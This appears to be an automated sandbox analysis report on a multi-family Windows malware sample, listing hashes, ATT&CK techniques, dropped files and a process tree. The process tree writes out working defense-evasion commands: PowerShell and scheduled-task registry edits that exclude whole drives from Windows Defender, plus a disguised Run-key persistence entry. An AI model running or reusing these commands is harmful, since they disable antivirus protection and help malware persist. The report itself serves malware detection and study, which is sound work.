0deeb6e31a142f7898348f6fa97773a677315a1870dc9cb1ef6b30be35b59695

Analysis

max time kernel
144s
max time network
176s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/11/2026, 11:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
Size 35.7MB
Sample261111-m8drksft4k
SHA256 0deeb6e31a142f7898348f6fa97773a677315a1870dc9cb1ef6b30be35b59695
MD5 48f35e81b877814ae1f3ec4f2443262c
SHA1 762ac1db9f7f470fd82badf2647ff90de11f8428
SHA512 602243f77d292279ae258ab29f3972d47abd44602bf2c481a271e95065107a12087141117d81b302f146a168c27b08ba75e7687a54ad0fdd505557f12066b566
SSDEEP 98304:WFoG4QOye2FHAQfMArIeBTg07h27e09X6rS+BVcruRYk7VCXWxE:WMQh3fMArbdE
TLSH
T12A870C427742D962D8540A7B8C9ADBC82371FD8AEE06630738C6772F2EB66C7DD03495
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3488	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2040	RReruS.exe

Loads dropped DLL 1 IoCs

pid	Process
2040	RReruS.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\gDGoQg\\RReruS.exe\""	RReruS.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4532	cmd.exe
3748	cmd.exe
4700	cmd.exe
1112	cmd.exe
4616	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	RReruS.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4716	cmd.exe
1264	cmd.exe
1000	cmd.exe
1616	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RReruS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RReruS.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1316	schtasks.exe
4912	schtasks.exe
1160	schtasks.exe
3556	schtasks.exe
5688	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
4184	2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe
2040	RReruS.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 3488	2040	RReruS.exe	90
PID 2040 wrote to memory of 4532	2040	RReruS.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-11_48f35e81b877814ae1f3ec4f2443262c_cobalt-strike_coinminer_glassworm_icedid_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4184

C:\Users\Public\gDGoQg\RReruS.exe
"C:\Users\Public\gDGoQg\RReruS.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\gDGoQg\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4532
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\gDGoQg\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5688
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4912
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4616
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2152

C:\Users\Public\gDGoQg\RReruS.exe
"C:\Users\Public\gDGoQg\RReruS.exe"
1⤵
PID:4740

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\gDGoQg" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4716

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5256

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1264

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1000

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 b9e787737519f45e16ab984ac1733d745436d6b0344f3ffa7839b02c957c41c6
MD5 d6f766a5c33a6ff17c932ed396571fd8
SHA1 1ae86a75a35d4557c4e86da1d42ddeaa7b7ee72b
SHA512 48df96506a21ea7a674a8881008b60762f423d44d6c3734b7e7e5fa0f840e8eb81a4e016cfb5439137d955ae4bf2fb9cd3cf6905cc7df6751ee1caaa656a3034
TLSH
T1B53196B75FAD7982872B4E9416D6F0252CA8E3805DCA54DE6215C8549F053B17F0EB1C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 63ac573581b0ce453f72a49044f723d3bed0c98876ab2588dab11ffea0630519
MD5 0a4c722824a5a33b22c54b364779ebc2
SHA1 25b20a0732b3392e2ca099acc97e46ed1082e4f6
SHA512 a8f3445e600cebf76e483a52506e9a7a82891433956b6eb8e93d51c2e85019e50622a4f6eb953098fee93f1a505d659c25b22fe30ef761d3df0b2b05e8eee542
TLSH
T12931D6824633AE46EF81CE7D5AEDDD2138F213E279B56949D13AD39708017731E89889
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 9c5d5983062ed7276b77812034f242aaa77129dce27457bdc21f346678d39c81
MD5 3e012c88c043c5c8e5edc31854c7d1f7
SHA1 03fe6731026b8dde917a25bdd87165a95912e758
SHA512 5d9e082c481fb21b78f8588237c61e094c22cb68bb2e2476f9451754e1d25da910b3f5e5b6c3b0668e7a216bb5346cd617e52eb6785d03d7b1e8e33899bccc6a
TLSH
T10CF0DC1C08FC422FF03BE93C4BC879A50A7FF6152902C0AC13EA0B0CA502A822C9153D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 0ddc1c44641483074a2702c05685cc4c52931c9474b3b3436524e7b322584478
MD5 e24be99671fe1413194db1107e875c14
SHA1 9c6c5f898c29f4438241c902955c41bce62c3598
SHA512 b86f9cb95fc646a7d63a3fd3ac1eaa95233ff45abfb582963c0b9f913263bd92f83b9c6f7cc7a62d5d516faccc6ec24e9e32888dfa8014a53e1f4d33d875fa0b
TLSH
T195F05C3D25DA402BF17FE2FC46D67EA34A6AF232140E76BF09E403656AA4C042C41229
MD5 SHA1 SHA512 TLSH

Submit Download

RReruS.exe

Path C:\Users\Public\gDGoQg\RReruS.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\gDGoQg\UxEnhance64.dll
Size 3.1MB
SHA256 596e0105e9aecb6b2f60183dc948cbbed4d96ee345cfc9a9f09306ca5fc3372f
MD5 3320f7d7b64531019a99d09c417fddec
SHA1 84f5e9e6b5bd4cd7fe12a781b828e644be211c84
SHA512 e6cdff8bf3b8975f99a06441f78bc3dc582fe6a22ff50e47defd9bcd8caf72e450113cb61a0425be8b6f5998540c2ac08fbe9485682b891fef152de5c15b7c51
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+0:P9m29xx3Tiqt06ox6+z2rNNrKo0
TLSH
T1D8E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\gDGoQg\adoresd.dat
Size 4.8MB
SHA256 e616fc483fae7f4aaa430c672cfa837de80605c2b7ca877f2b6ae21d2be3229d
MD5 19578bcd0009a646200c84070a8ad81d
SHA1 2a320562461ff52616136c9588361039010a561c
SHA512 ab3fe8c5648dc0b4054b7d42227546f8d92d01c48a4abd51aa4e494354bbb525360a920df04714b4d9fd280205dc717cf270a3edc670905c7fac0e9d3993e4bd
SSDEEP 98304:QWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:QWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T16F3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\gDGoQg\msadox.tb
Size 8KB
SHA256 df197702607f73f6fcc3d2cdb57cb1b778e518fd2e3a0fdf199d120fcea0df20
MD5 c08443cf720e7ee37de692c52e8ef017
SHA1 e18d1050a4a034a7c190babdd599088904344da6
SHA512 912ad114b2445e292bf7ad1ef86d27f57ee48fe2eeb3c20207120292b7efa06465e6e27bbc74e4da2fea8a9fd90fdd05ad2124dfd9bdb605fdc05c5072243203
SSDEEP 192:BqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:BsZqZOXQ3uqvR2Kfzp
TLSH
T17A029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2040-562-0x000001A274840000-0x000001A2748CA000-memory.dmp

Download

memory/2040-558-0x000001A274760000-0x000001A2747AE000-memory.dmp

Download

memory/2040-530-0x00007FF8C2C90000-0x00007FF8C2C92000-memory.dmp

Download

memory/2040-567-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-536-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-538-0x00007FF8C2CA0000-0x00007FF8C2CA2000-memory.dmp

Download

memory/2040-543-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-539-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-544-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-545-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-546-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-550-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-566-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-556-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/2040-561-0x000001A274840000-0x000001A2748CA000-memory.dmp

Download

memory/2040-560-0x000001A274840000-0x000001A2748CA000-memory.dmp

Download

memory/2040-559-0x000001A274840000-0x000001A2748CA000-memory.dmp

Download

memory/2040-531-0x00007FF8A0080000-0x00007FF8A059E000-memory.dmp

Download

memory/2040-564-0x000001A273AA0000-0x000001A274377000-memory.dmp

Download

memory/3488-600-0x0000017735C70000-0x0000017735C92000-memory.dmp

Download

memory/4184-524-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/4184-525-0x00007FF8B6ED0000-0x00007FF8B6EE2000-memory.dmp

Download

memory/4184-1-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/4184-0-0x0000000000490000-0x000000000049E000-memory.dmp

Download

memory/4184-2-0x00000000004A0000-0x00000000004AC000-memory.dmp

Download

memory/4184-504-0x00007FF8B6ED0000-0x00007FF8B6EE2000-memory.dmp

Download

memory/4740-578-0x00007FF8C2CA0000-0x00007FF8C2CA2000-memory.dmp

Download

memory/4740-586-0x000002235BAF0000-0x000002235C3C7000-memory.dmp

Download

memory/4740-585-0x000002235BAF0000-0x000002235C3C7000-memory.dmp

Download

memory/4740-584-0x000002235BAF0000-0x000002235C3C7000-memory.dmp

Download

memory/4740-587-0x00007FF8C2C90000-0x00007FF8C2C92000-memory.dmp

Download

memory/4740-579-0x000002235BAF0000-0x000002235C3C7000-memory.dmp

Download

memory/4740-583-0x000002235BAF0000-0x000002235C3C7000-memory.dmp

Download

memory/4740-576-0x000002235BAF0000-0x000002235C3C7000-memory.dmp

Download

memory/4740-572-0x00007FF8A0080000-0x00007FF8A059E000-memory.dmp

Download